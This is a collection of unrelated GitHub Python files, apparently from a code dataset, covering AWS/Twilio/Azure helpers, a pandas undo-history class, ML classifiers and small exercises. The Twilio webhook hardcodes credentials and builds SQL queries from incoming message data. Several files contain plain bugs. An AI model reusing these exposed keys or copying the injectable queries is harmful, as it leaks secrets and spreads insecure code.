{'#status_field': 'status'}\n expression_attribute_values = {':status_value': {'S': 'PAID'}}\n \n response = client.update_item(\n TableName=table_name,\n Key={\n 'branch_id': {'S': branch},\n 'license_plate': {'S': license_plate}\n },\n UpdateExpression= update_expression,\n ExpressionAttributeNames=expression_attribute_names,\n ExpressionAttributeValues=expression_attribute_values,\n ReturnValues=\"UPDATED_NEW\"\n )\n\n return response\n\ndef publish_event(event):\n # Create an SNS client\n sns_client = boto3.client('sns')\n\n # Specify the ARN of the SNS topic you want to publish to\n topic_arn = 'arn:aws:sns:us-east-1:709220788877:dev-topic_sale_registered'\n\n # Convert the message dictionary to a JSON string\n message = json.dumps(event)\n\n # Publish the JSON message to the specified SNS topic\n response = sns_client.publish(\n TopicArn=topic_arn,\n Message=message\n )\n\n return response","repo_name":"juancarloscruzd/los-portales","sub_path":"services/fulfill.py","file_name":"fulfill.py","file_ext":"py","file_size_in_byte":3550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"46948192822","text":"class Solution(object):\n def letterCombinations(self, digits):\n \"\"\"\n :type digits: str\n :rtype: List[str]\n \"\"\"\n \n dict = {'1':'','2':\"abc\",'3':'def','4':'ghi','5':'jkl','6':'mno','7':'pqrs','8':'tuv','9':'wxyz'}\n if len(digits) == 0:\n return []\n if len(digits) == 1:\n return list(dict[digits[0]])\n prev = self.letterCombinations(digits[:-1])\n addition = dict[digits[-1]]\n print(addition)\n print(prev)\n return [s + c for s in prev for c in addition]\nSolution().letterCombinations('2345')\n\n #递归 \n #1# 首先找到第一个字母\n #2#addition 找到prev之后的下一字母\n #3# prev = combine prev and addition \n #4# 递归下一次,找到addition 的下一字母\n #5#重复3","repo_name":"YCJGG/Coding-every-day","sub_path":"Leetcode/17_LetterCombinationsofaPhoneNumber.py","file_name":"17_LetterCombinationsofaPhoneNumber.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28777111016","text":"import typing as tp\nimport numpy as np\nimport pandas as pd\nimport copy\n\nDEFAULT_HISTORY_LEN = 5\n\n\ndef _iqr_outliers_percent(df: pd.DataFrame, columns, threshold):\n '''\n Приватная функция выводит процент выбросов в столбцах columns матрицы признаков df\n '''\n drop_cols = []\n \n for col in columns:\n q1 = df[col].quantile(0.25)\n q3 = df[col].quantile(0.75)\n iqr = q3 - q1\n lower_bound = q1 - 1.5 * iqr\n upper_bound = q3 + 1.5 * iqr\n outliers_count = df[(df[col] < lower_bound) | (df[col] > upper_bound)].shape[0]\n total_count = df[col].shape[0]\n outliers_percent = outliers_count / total_count * 100\n\n if outliers_percent < threshold:\n drop_cols.append(col)\n print(f'{col}: {outliers_percent:.2f}%')\n \n return drop_cols\n\n\ndef _missing_values_table(df: pd.DataFrame):\n '''\n Приватный вычисляет процент пропущенных значений в каждом столбце\n '''\n mis_val = df.isnull().sum()\n mis_val_percent = 100 * df.isnull().sum() / len(df)\n mis_val_table = pd.concat([mis_val, mis_val_percent], axis = 1)\n mis_val_table_ren_columns = mis_val_table.rename(\n columns = {0 : 'Missing Values', 1 : '% of Total Values'})\n mis_val_table_ren_columns = mis_val_table_ren_columns[\n mis_val_table_ren_columns.iloc[:, 1] != 0].sort_values(\n '% of Total Values', ascending = False).round(1)\n \n print (\"Your selected dataframe has \" + str(df.shape[1]) + \" columns.\\n\" \n \"There are \" + str(mis_val_table_ren_columns.shape[0]) +\n \" columns that have missing values.\")\n \n return mis_val_table_ren_columns\n\n\nclass Node:\n def __init__(self, value = None, prev = None, next = None):\n self.value = value\n self.prev = prev\n self.next = next\n\nclass DoublyLinkedList:\n def __init__(self, max_size = 5):\n #print('__init__ DLL')\n try:\n if max_size <= 0:\n raise ValueError(f\"'max_size' должен быть больше 0\")\n self.head = None\n self.tail = None\n self.size = 0\n self.max_size = max_size\n except ValueError as e:\n print(e)\n\n def is_empty(self):\n return self.size == 0\n\n def __len__(self):\n return self.size\n\n def __lpush(self, value):\n try:\n if self.size == self.max_size:\n raise ValueError(f\"Достигнут максимальный размер списка!\")\n new_node = Node(value)\n if self.is_empty():\n self.head = self.tail = new_node\n else:\n new_node.next = self.head\n self.head.prev = new_node\n self.head = new_node\n self.size += 1\n except ValueError as e:\n print(e)\n\n def push(self, value):\n #print('push DLL')\n new_node = Node(value)\n if self.size == self.max_size:\n self.tail.next = new_node\n new_node.prev = self.tail\n self.tail = new_node\n self.head = self.head.next\n self.head.prev = None\n else:\n if self.is_empty():\n self.head = self.tail = new_node\n else:\n new_node.prev = self.tail\n self.tail.next = new_node\n self.tail = new_node\n self.size += 1\n\n def pop(self):\n #print('pop DLL')\n if self.is_empty():\n raise Exception(\"Список пуст!\")\n removed_node = self.head\n if self.head == self.tail:\n self.head = self.tail = None\n else:\n self.head = self.head.next\n self.head.prev = None\n self.size -= 1\n return removed_node.value\n\n def __rpop(self):\n if self.is_empty():\n raise Exception(\"Список пуст!\")\n removed_node = self.tail\n if self.head == self.tail:\n self.head = self.tail = None\n else:\n self.tail = self.tail.prev\n self.tail.next = None\n self.size -= 1\n return removed_node.value\n \n def resize(self, new_max_size):\n '''\n Изменяет МАКСИМАЛЬНЫЙ допустимый размер списка\n '''\n #print('resize DLL')\n if self.size < new_max_size:\n pass\n elif self.size > new_max_size:\n for _ in range(new_max_size, self.size):\n self.__rpop()\n self.size = new_max_size\n self.max_size = new_max_size\n\n def print_dll(self):\n #print('print DLL')\n current_node = self.head\n while current_node:\n print(current_node.value)\n current_node = current_node.next\n\n\nclass NewDataFrame(pd.DataFrame):\n '''\n Класс позволяет возвращать измененный pd.DataFrame\n '''\n history = DoublyLinkedList(max_size = DEFAULT_HISTORY_LEN)\n\n def __init__(self, *args, **kwargs):\n print('__init__NewDF')\n super().__init__(*args, **kwargs)\n\n def __setattr__(self, name, value):\n print(f'__setattr__: {name} : {value}')\n self._save_history('__setattr__', name, value)\n super().__setattr__(name, value)\n\n def __setitem__(self, key, value):\n print(f'__setitem__: {key} : {value}')\n self._save_history('__setitem__', key, value)\n super().__setitem__(key, value)\n\n def __delitem__(self, key):\n self._save_history('__delitem__', key)\n super().__delitem__(key)\n\n def _save_history(self, method_name, *args):\n self.history.push((method_name, *copy.deepcopy(args)))\n\n\n \nclass DataPreparingController(NewDataFrame):\n '''\n Этот класс помогает упрощать предобработку данных и\n делать из них статистические выводы.\n '''\n __MAX_HISTORY_LEN = 10\n data : NewDataFrame = None\n\n def __init__(self, data: pd.DataFrame):\n self.data = NewDataFrame(data)\n\n def __setattr__(self, name, value):\n #print(f'__setattr__ {name} : {value} DPC')\n super().__setattr__(name, value) \n\n def set_history_len(self, buffer_len: int):\n '''\n Description:\n Метод класса, устанавливающий длину хранящейся истории изменений\n \n Args:\n buffer_len (int): новая длина истории\n '''\n try:\n if buffer_len > self.__MAX_HISTORY_LEN:\n raise ValueError(f\"Слишком большое значение {buffer_len}, \\\n максимальная длина должна быть <={self.__MAX_HISTORY_LEN}!\")\n else:\n self.history.resize(buffer_len)\n print(f'Теперь будет храниться история на {self.__history.__len__()} шагов.')\n except ValueError as e:\n print(e)\n\n def _rollback(self):\n '''\n Description:\n Откат последней продецуры изменения данных\n '''\n try:\n print('_rollback :', )\n if self.history.is_empty():\n raise IndexError('Нет истории, чтобы сделать возврат!')\n method, *args = self.history.pop()\n if method == '__setitem__':\n key, old_value = args\n self.data[key] = old_value\n elif method == '__delitem__':\n key, value = args\n self.data[key] = value\n elif method == '__setattr__':\n name, value = args\n if name == 'data':\n self.data = value\n else:\n raise AttributeError(f\"Неизвестный аттрибут :{name} !\")\n\n except IndexError as e:\n print(e)\n except AttributeError as e:\n print(e)\n \n\n @classmethod\n def iqr_outliers_percent(\n cls, \n df: tp.Optional[pd.DataFrame],\n columns: tp.Union[str, tp.List[str]] = 'all', \n threshold: tp.Union[int, float] = 10\n ) -> tp.List[str]:\n '''\n Description:\n Метод выводит процент выбросов в столбцах columns матрицы признаков df\n\n Args:\n df (pd.DataFrame): матрица признаков\n columns (list): колонки, из которых удалять выбросы\n threshold (float): порог удаления выбросов из drop_cols в процентах\n\n Returns:\n drop_cols (list): список колонок, откуда можно удалить выбросы\n '''\n try:\n if threshold < 0 or threshold > 100:\n raise ValueError(f\"Неверное значение 'threshold' {threshold}, \\\n должно быть на интервале [0, 100]!\")\n\n if isinstance(pd.DataFrame, df):\n if columns == 'all':\n columns = df.columns\n return _iqr_outliers_percent(df, columns, threshold)\n elif df is None:\n if columns == 'all':\n columns = cls.data.columns\n return _iqr_outliers_percent(cls.data, columns, threshold)\n else:\n raise TypeError(\"'df' должен быть либо None и метод должен вызываться от объекта класса, \\\n либо pd.DataFrame и метод вызывается от имени класса\")\n \n except TypeError as e:\n print(e)\n except ValueError as e:\n print(e)\n \n def remove_outliers(\n self, \n df: pd.DataFrame,\n columns: tp.Union[str, tp.List[str]] = 'all',\n threshold: tp.Union[int, float] = 1.5, \n drop_percent: tp.Union[int, float] = 100 \n ) -> pd.DataFrame:\n '''\n Description:\n Метод удаляет строки, в которых есть выбросы, \\\n определенные по методу Тьюки (межквартильное расстояние)\n\n Args:\n df (pd.DataFrame): матрица признаков\n columns (list): список числовых признаков\n threshold (float): порог в методе Тьюки\n drop_percent (float): доля удаляемых выбросов\n\n Returns:\n df (pd.DataFrame): матрица признаков, очищенные от какой-то доли выбросов\n '''\n try:\n if threshold < 0:\n raise ValueError(f\"Неверное значение 'threshold' {threshold}, \\\n должно быть неотрицательным!\")\n if drop_percent < 0 or drop_percent > 100:\n raise ValueError(f\"Неверное значение 'drop_persent' {drop_percent}, \\\n должно быть на промежутке [0, 100]\")\n\n self.history.push(df.copy())\n\n bounds = []\n for column in columns:\n q1 = df[column].quantile(0.25)\n q3 = df[column].quantile(0.75)\n iqr = q3 - q1\n lower_bound = q1 - threshold * iqr\n upper_bound = q3 + threshold * iqr\n bounds.append((lower_bound, upper_bound))\n\n for (lower_bound, upper_bound), column in zip(bounds, columns):\n\n outliers = df[(df[column] < lower_bound) | (df[column] > upper_bound)][column]\n outliers = outliers.sort_values() \n n_to_remove = int(len(outliers) * drop_percent / 100)\n \n to_remove = outliers.head(n_to_remove).index.union(outliers.tail(n_to_remove).index)\n cleaned_col = df[column].drop(to_remove)\n df = df.loc[cleaned_col.index].copy()\n df.reset_index(drop = True, inplace = True)\n \n self.data = df.copy()\n return df\n \n except ValueError as e:\n print(e)\n\n\n @classmethod\n def missing_values_table(cls, df: tp.Optional[pd.DataFrame]) -> pd.DataFrame:\n '''\n Description:\n Метод вычисляет процент пропущенных значений в каждом столбце\n Args:\n df (pd.DataFrame): матрица признаков\n Returns:\n mis_val_table_ren_columns (pd.DataFrame): матрица информации\n '''\n try:\n if isinstance(pd.DataFrame, df):\n return _missing_values_table(df)\n elif df is None:\n return _missing_values_table(cls.data)\n else:\n raise TypeError(\"'df' должен быть либо None, либо pd.DataFrame\")\n \n except TypeError as e:\n print(e)\n\n def _print_history(self):\n print(1)\n self.history.print_dll()\n \n\n\n'''\nЯ хочу изначально обернуть свой датасет в класс, затем иметь возможность:\n\n1) Небольшая история изменений, на случай того, если после какого-то изменения\nметрики ухудшатся, чтобы было несложно откатиться назад\n\n2) Делать статистические выводы из данных:\n - Выбросы\n - Статистики\n - Проверка на соответствие какому-то распределению\n\n \nи ещё много-много всего\n\n\nСделать:\n1) Вынос приватных методов в отдельный файл\n\n2) Проверить, что везде копируется где надо, и где не надо нет\n\n3) Клиппинг\n\n'''","repo_name":"rybinsky/DataPreparingController","sub_path":"OutController.py","file_name":"OutController.py","file_ext":"py","file_size_in_byte":14451,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29965899893","text":"import os\n\nfrom fabric.api import abort\nfrom fabric.api import local\nfrom fabric.api import puts\nfrom fabric.api import settings\nfrom fabric.colors import red\nfrom fabric.context_managers import lcd\n\n\ndef to_file(r, logfile):\n \"\"\"Writes Fabric capture result to the given file.\"\"\"\n def _write(fname, msg):\n dirname = os.path.dirname(fname)\n if not os.path.exists(dirname):\n os.makedirs(dirname)\n info(\"Log directory '%s' has been created.\")\n with open(fname, 'a') as f:\n f.write(msg)\n f.flush()\n l = []\n if isinstance(r, str): # exception\n _fname = '.'.join([logfile, \"stdout\"])\n _write(_fname, r)\n l.append(_fname)\n else:\n if r.stdout:\n _fname = '.'.join([logfile, \"stdout\"])\n _write(_fname, r.stdout)\n l.append(_fname)\n if r.stderr:\n _fname = '.'.join([logfile, \"stderr\"])\n _write(_fname, r.stderr)\n l.append(_fname)\n\n return l\n\n\ndef info(msg):\n \"\"\"Prints info/debug logs.\"\"\"\n puts(\"[INFO] %s\" % msg)\n\n\ndef fail(msg):\n \"\"\"Prints info/debug logs.\"\"\"\n abort(\"[%s] %s\" % (red(\"FAIL\"), msg))\n\n\ndef ok(msg):\n \"\"\"Prints info/debug logs.\"\"\"\n puts(\"[OK] %s\" % msg)\n\n\ndef runcmd(cmd, chdir=None, fail_check=True, logfile=None):\n \"\"\"Runs a generic command.\n cmd: command to execute.\n chdir: local directory to run the command from.\n fail_check: boolean that indicates if the workflow must be\n interrupted in case of failure.\n logfile: file to log the command execution.\n \"\"\"\n if chdir:\n with lcd(chdir):\n with settings(warn_only=True):\n r = local(cmd, capture=True)\n else:\n with settings(warn_only=True):\n r = local(cmd, capture=True)\n\n logs = []\n if logfile:\n logs = to_file(r, logfile)\n\n if fail_check:\n if r.failed:\n msg = \"Error while executing command '%s'.\"\n if logs:\n msg = ' '.join([msg, \"See more information in logs (%s).\"\n % ','.join(logs)])\n abort(red(msg % cmd))\n # raise exception.ExecuteCommandException((\"Error found while \"\n # \"executing command: \"\n # \"'%s' (Reason: %s)\"\n # % (cmd, r.stderr)))\n return r\n","repo_name":"orviz/umd-verification","sub_path":"umd/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74540284730","text":"from lithops import Storage\nimport json\nimport time\nimport lithops\nfrom lithops.multiprocessing import Pool\nfrom vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer\n\ndef f(data):\n review = json.loads(data)\n fexec = lithops.FunctionExecutor(runtime='buzzerage/sd_sentiment_analysis:latest')\n fexec.call_async(retrieveSentiments, review['reviewText'])\n return(fexec.get_result())\n\ndef retrieveSentiments(text):\n analyzer = SentimentIntensityAnalyzer()\n vs = analyzer.polarity_scores(text)\n return(str(vs))\n \nif __name__ == '__main__':\n storage = Storage()\n data = storage.get_object('analysis.data', 'rawdata/Automotive_5.json').decode()\n data = data.replace(\"}{\",\"}\\n{\").splitlines()\n with Pool() as pool:\n result = pool.map(f, data[:3])\n print(result)\n\n '''with lithops.FunctionExecutor() as fexec:\n fexec.call_async(f, None)\n print(fexec.get_result())'''\n","repo_name":"Buzzerage/SD_BigDataChallenge","sub_path":"tests/dataProcessing.py","file_name":"dataProcessing.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4549292455","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Apr 10 15:34:48 2021\r\n\r\n@author: Sanjay\r\n\"\"\"\r\n\r\nimport cv2 as cv\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\n\r\nimg = cv.imread('./Images/lena.jpg', 0)\r\n#img = np.zeros((200, 200), np.uint8)\r\n#cv.rectangle(img, (0, 100), (200, 200), (255, 255, 255), -1)\r\n#cv.rectangle(img, (0, 50), (100, 100), (127), -1)\r\n#b, g, r = cv.split(img)\r\n\r\nhist = cv.calcHist([img], [0], None, [256], [0, 256])\r\nplt.plot(hist)\r\n\r\n#cv.imshow('image', img)\r\n#cv.imshow('blue', b)\r\n#cv.imshow('green', g)\r\n#cv.imshow('red', r)\r\n\r\n\r\n\r\n#plt.hist(b.ravel(), 256, [0, 256])\r\n#plt.hist(g.ravel(), 256, [0, 256])\r\n#plt.hist(r.ravel(), 256, [0, 256])\r\nplt.show()\r\n\r\n\r\n\r\ncv.imshow('image', img)\r\ncv.waitKey(0)\r\ncv.destroyAllWindows()","repo_name":"sanjayait/Computer-Vision-Opencv","sub_path":"Understanding_image_histogram.py","file_name":"Understanding_image_histogram.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35436606755","text":"import csv\r\nimport json\r\nimport re\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom collections import defaultdict\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\nfrom sklearn import model_selection, naive_bayes, svm\r\nfrom sklearn.metrics import accuracy_score\r\nfrom datetime import datetime\r\nfrom preprocessing_func import process_corpus\r\n\r\n\r\n#Load the corpus and do the preprocessing\r\nprint(\"Loading Corpus and do the preprocessing\")\r\nCorpus=pd.read_json('./data/corpus-large.json')\r\nCorpus=process_corpus(Corpus)\r\nprint(\"Successfully Loaded the corpus\")\r\n\r\n#obtain the training and testing dataset\r\nTrain_X, Test_X, Train_Y, Test_Y=model_selection.train_test_split(Corpus['Tokenized_text'],Corpus['isFraud'],test_size=0.3)\r\n\r\n#Encoding the dataset\r\nEncoder=LabelEncoder()\r\nTrain_Y=Encoder.fit_transform(Train_Y)\r\nTest_Y=Encoder.fit_transform(Test_Y)\r\n\r\n#Word Vectorization using TF-IDF\r\nTfidf_vect=TfidfVectorizer(max_features=5000)\r\nTfidf_vect.fit(Corpus['Tokenized_text'])\r\nTrain_X_Tfidf=Tfidf_vect.transform(Train_X)\r\nTest_X_Tfidf=Tfidf_vect.transform(Test_X)\r\n\r\n#Using Naive Bayes Classifier to predict the outcome\r\nNaive=naive_bayes.MultinomialNB()\r\nNaive.fit(Train_X_BOW,Train_Y)\r\n\r\npredictions_NB=Naive.predict(Test_X_BOW)\r\nprint(\"Naive Bayes Accuracy Score -> \",accuracy_score(predictions_NB, Test_Y)*100)\r\nprint(\"Confusion matrix is\")\r\nprint(confusion_matrix(predictions_NB, Test_Y))\r\nprint(\"classification report is\")\r\nprint(classification_report(predictions_NB, Test_Y))\r\n\r\n#Using SVM to predict the outcome\r\nSVM=svm.SVC(C=1.0,kernel='linear',degree=3,gamma='auto')\r\nSVM.fit(Train_X_BOW,Train_Y)\r\n\r\npredictions_SVM=SVM.predict(Test_X_BOW)\r\nprint(\"SVM Accuracy Score -> \",accuracy_score(predictions_SVM, Test_Y)*100)\r\nprint(\"Confusion matrix is\")\r\nprint(confusion_matrix(predictions_SVM, Test_Y))\r\nprint(\"classification report is\")\r\nprint(classification_report(predictions_SVM, Test_Y))\r\n\r\n#Using Linear Regression to predict the outcome\r\nLR=LogisticRegression(C=100, random_state=0, max_iter=1000)\r\nLR.fit(Train_X_BOW,Train_Y)\r\npredictions_LR=LR.predict(Test_X_BOW)\r\nprint(\"LR Accuracy Score -> \",accuracy_score(predictions_LR, Test_Y)*100)\r\nprint(\"Confusion matrix is\")\r\nprint(confusion_matrix(predictions_LR, Test_Y))\r\nprint(\"classification report is\")\r\nprint(classification_report(predictions_LR, Test_Y))\r\n","repo_name":"h3553493/COMP4801-FYP","sub_path":"NB-SVM/NB-SVM.py","file_name":"NB-SVM.py","file_ext":"py","file_size_in_byte":2384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"33621287093","text":"import os\nimport requests\nimport time\nfrom playsound import playsound\nfrom xml.etree import ElementTree\nclass TextToSpeech(object):\n def __init__(self, subscription_key, color, article):\n self.subscription_key = subscription_key\n self.tts = color + \" will go well with that \" + article\n self.timestr = time.strftime(\"%Y%m%d-%H%M\")\n self.access_token = None\n\n def get_token(self):\n fetch_token_url = \"https://westus.api.cognitive.microsoft.com/sts/v1.0/issueToken\"\n headers = {\n 'Ocp-Apim-Subscription-Key': self.subscription_key\n }\n response = requests.post(fetch_token_url, headers=headers)\n self.access_token = str(response.text)\n\n def save_audio(self):\n base_url = 'https://westus.tts.speech.microsoft.com/'\n path = 'cognitiveservices/v1'\n constructed_url = base_url + path\n headers = {\n 'Authorization': 'Bearer ' + self.access_token,\n 'Content-Type': 'application/ssml+xml',\n 'X-Microsoft-OutputFormat': 'riff-24khz-16bit-mono-pcm',\n 'User-Agent': 'text2speeches'\n }\n xml_body = ElementTree.Element('speak', version='1.0')\n xml_body.set('{http://www.w3.org/XML/1998/namespace}lang', 'en-us')\n voice = ElementTree.SubElement(xml_body, 'voice')\n voice.set('{http://www.w3.org/XML/1998/namespace}lang', 'en-US')\n voice.set(\n 'name', 'Microsoft Server Speech Text to Speech Voice (en-US, Guy24KRUS)')\n voice.text = self.tts\n body = ElementTree.tostring(xml_body)\n\n response = requests.post(constructed_url, headers=headers, data=body)\n if response.status_code == 200:\n with open('sample.wav', 'wb') as audio:\n audio.write(response.content)\n print(\"\\nStatus code: \" + str(response.status_code) +\n \"\\nYour TTS is ready for playback.\\n\")\n else:\n print(\"\\nStatus code: \" + str(response.status_code) +\n \"\\nSomething went wrong. Check your subscription key and headers.\\n\")\nif __name__ == \"__main__\":\n subscription_key = \"3dcb81c95f9d46248813f574677f3272\"\n app = TextToSpeech(subscription_key)\n app.get_token()\n app.save_audio()\n playsound('sample.wav')","repo_name":"smandla/closetDubHacks2019","sub_path":"smartCloset2/text2speech.py","file_name":"text2speech.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32655283949","text":"# webhook_url = \"https://us-central1-psychic-catwalk-370506.cloudfunctions.net/Twilio-webhook\"\n\nfrom twilio.twiml.messaging_response import MessagingResponse\nfrom twilio.rest import Client\nimport sqlalchemy\nimport json\n\nconnection_name = \"psychic-catwalk-370506:us-central1:twilio\"\ntable_name = \"Persons\"\ndb_name = \"imentor\"\ndb_user = \"root\"\ndb_password = \"1234\"\n\n# If your database is MySQL, uncomment the following two lines:\ndriver_name = 'mysql+pymysql'\nquery_string = dict({\"unix_socket\": \"/cloudsql/{}\".format(connection_name)})\n\n\ndef webhook(request):\n # Set CORS headers for the preflight request\n if request.method == 'OPTIONS':\n # Allows GET requests from any origin with the Content-Type\n # header and caches preflight response for an 3600s\n headers = {\n 'Access-Control-Allow-Origin': '*',\n 'Access-Control-Allow-Methods': 'GET',\n 'Access-Control-Allow-Headers': 'Content-Type',\n 'Access-Control-Max-Age': '3600'\n }\n\n return ('', 204, headers)\n\n # Set CORS headers for the main request\n headers = {\n 'Access-Control-Allow-Origin': '*'\n }\n\n sender_phone_number = request.values.get('From', '')\n sender_name = None\n message_body = None\n \n db = sqlalchemy.create_engine(\n sqlalchemy.engine.url.URL(\n drivername=driver_name,\n username=db_user,\n password=db_password,\n database=db_name,\n query=query_string,\n ),\n pool_size=5,\n max_overflow=2,\n pool_timeout=30,\n pool_recycle=1800\n )\n # try:\n print(\"Connecting to DB...\")\n with db.connect() as conn:\n stmt = sqlalchemy.text('SELECT concat(fname, \" \", lname) FROM Contacts WHERE phone_number LIKE \"%{}%\";'.format(sender_phone_number))\n print(stmt)\n result = conn.execute(stmt)\n print(result)\n result = [x for x in result]\n print(result)\n sender_name = result[0][0]\n print(\"sender: {}\".format(sender_name))\n print(sender_name)\n\n stmt = sqlalchemy.text('SELECT fname, lname, phone_number FROM Contacts WHERE phone_number NOT LIKE \"%{}%\";'.format(sender_phone_number))\n print(stmt)\n result = conn.execute(stmt)\n print(result)\n outbound_contacts = [list(x) for x in result]\n print(outbound_contacts)\n outbound_names = [[x[0], x[1]] for x in outbound_contacts]\n outbound_numbers = [x[2] for x in outbound_contacts]\n print(outbound_names)\n print(outbound_numbers)\n\n message_body = request.values.get('Body', '').lower()\n print(\"Updating Messaages in CloudSQL\")\n stmt = sqlalchemy.text('INSERT INTO Messages ( from_phone_number, message) VALUES (\"{}\",\"{}\");'.format(sender_phone_number, message_body))\n print(stmt)\n result = conn.execute(stmt)\n print(result)\n print(\"Updated Messaages in CloudSQL\")\n\n # except Exception as e:\n # return 'Error: {}'.format(str(e))\n \n print(\"Forwarding messages...\")\n for i,number in enumerate(outbound_numbers):\n print(number)\n print(\"outbound_names{}\".format(outbound_names[i][1]))\n processed_message = sender_name + \": \" + process_templated_message(message_body, outbound_names[i][0], outbound_names[i][1])\n send(to=number, message_body=processed_message)\n print(\"Forwarded!\")\n\n print(\"Replying...\")\n resp = MessagingResponse()\n resp.message(\"Your message was forwarded to: {}\".format(json.dumps(outbound_names)))\n return str(resp)\n # return (\"Sent to: \"+json.dumps(outbound_numbers), 200, headers)\n\n\ndef process_templated_message(message, fname, lname):\n mapping_table = {\"<>\":fname, \"<>\":lname}\n for key, value in mapping_table.items():\n message = message.replace(key,value)\n return message\n\n\ndef send(to=\"+17322774364\", message_body='test-message'):\n # Find your Account SID and Auth Token at twilio.com/console\n # and set the environment variables. See http://twil.io/secure\n # account_sid = os.environ['VAR']\n # auth_token = os.environ['VAR']\n account_sid = 'AC996bb3c3da685a51f2758ddc23b34b5e'\n auth_token = 'a4a0da7c754968d88a6f1ec16f437e2e'\n client = Client(account_sid, auth_token)\n\n message = client.messages \\\n .create(\n messaging_service_sid='MGffa0074b2cde79bd3c30d0bc5475cd42',\n body=message_body,\n to=to\n )\n\n print(message.sid)\n return message.sid\n ","repo_name":"harpreetathwal/anonchat","sub_path":"twilio/webhook.py","file_name":"webhook.py","file_ext":"py","file_size_in_byte":4496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20294887274","text":"word = input()\n\ndic = {\"ABC\": 3, \"DEF\": 4, \"GHI\": 5, \"JKL\": 6, \"MNO\": 7, \"PQR\": 8, \"STU\": 9, \"VWZ\": 10}\n\nseconds = 0\n\nfor letter in word:\n for key in dic.keys():\n if letter in key:\n seconds = seconds + dic[key]\nprint(seconds) \n \n","repo_name":"nature1339/python_algorithm_02","sub_path":"코딩테스트 준비/문자열/5622.연습2.py","file_name":"5622.연습2.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"11920000052","text":"\nimport platform\nimport warnings\n\nuse_linalg = False\nmac_arch = platform.machine()\nif mac_arch == 'arm64':\n\n with warnings.catch_warnings():\n Warningskill.filterwarnings(\"ignore\",category=DeprecationWarning)\n import numpy.distutils.system_info as sysinfo\n info = sysinfo.get_info('accelerate')\n if info is not None and len(info)>0:\n for x in info['extra_link_args']:\n if 'Accelerate' in x:\n use_linalg = True\n \nprint(f\"Accelerate found? , use linalg={use_linalg}\")\n\n\n\n\n \n \n","repo_name":"CalculatedContent/WeightWatcher","sub_path":"checks/check_mac_M12.py","file_name":"check_mac_M12.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":1343,"dataset":"github-code","pt":"78"} +{"seq_id":"32982605840","text":"import random, re\nfrom random import randint\nfrom telegram import Message, Update, Bot, User\nfrom telegram import MessageEntity\nfrom telegram.ext import Filters, MessageHandler, run_async\n\nfrom tg_bot import dispatcher\nfrom tg_bot.modules.disable import DisableAbleCommandHandler\n\nSUPPORT = (\n \"Hello, Thanks for opting me up, This is my support group - @DragonAssociationSupport\",\n \"Hello, Thanks for opting me up, This is my support group - @DragonAssociationSupport\",\n)\n\nUPDATE = (\n \"Hello, Thanks for choosing us, This is my Update Channels @DragonUpdates & @TGBOTLAB\",\n \"Hello, Thanks for choosing us, This is my Update Channels @DragonUpdates & @TGBOTLAB\",\n)\n\nSERVER = (\n \"Hello, We holds a private server known as Dragonite Server have support here is a link to pvt server - https://discord.gg/crGUAnmSFD\",\n \"Hello, We holds a private server known as Dragonite Server have support here is a link to pvt server - https://discord.gg/crGUAnmSFD\",\n)\n\n@run_async\ndef support_group(bot: Bot, update: Update):\n update.effective_message.reply_text(random.choice(SUPPORT))\n\n@run_async\ndef update_channel(bot: Bot, update: Update):\n update.effective_message.reply_text(random.choice(UPDATE))\n\n@run_async\ndef server(bot: Bot, update: Update):\n update.effective_message.reply_text(random.choice(SERVER))\n\nSUPPORT_GROUP_HANDLER = DisableAbleCommandHandler(\"support_group\", support_group)\nUPDATE_CHANNEL_HANDLER = DisableAbleCommandHandler(\"update_channel\", update_channel)\nSERVER_HANDLER = DisableAbleCommandHandler(\"server\", server)\n\ndispatcher.add_handler(SUPPORT_GROUP_HANDLER)\ndispatcher.add_handler(UPDATE_CHANNEL_HANDLER)\ndispatcher.add_handler(SERVER_HANDLER)\n","repo_name":"MrHonekawa/tg_bot","sub_path":"tg_bot/modules/support.py","file_name":"support.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"31423573302","text":"class Scores :\n\n def __init__(self, player_name, player_score):\n self. player_name = player_name\n self.player_score = player_score\n\n @staticmethod\n def store_score(name, score):\n # on stocke le score dans le fichier du joueur\n with open(\"./scores_pendu.txt\", mode='a', encoding=\"utf8\") as file:\n score_dict = dict()\n score_dict[name] = score\n file.write(str(score_dict))\n # print(listeMots)\n # print(score_dict)\n # return score_dict\n\n @ staticmethod\n def get_score(name) :\n with open(\"./scores_pendu.txt\", mode='r', encoding=\"utf8\") as file:\n\n for elmts in file :\n for names, score in enumerate(elmts) :\n if name == names :\n\n return names, score\n else :\n score = 0\n return name, score\n\n\n # on récupère le score dans le fichier\n # par défaut le score est de 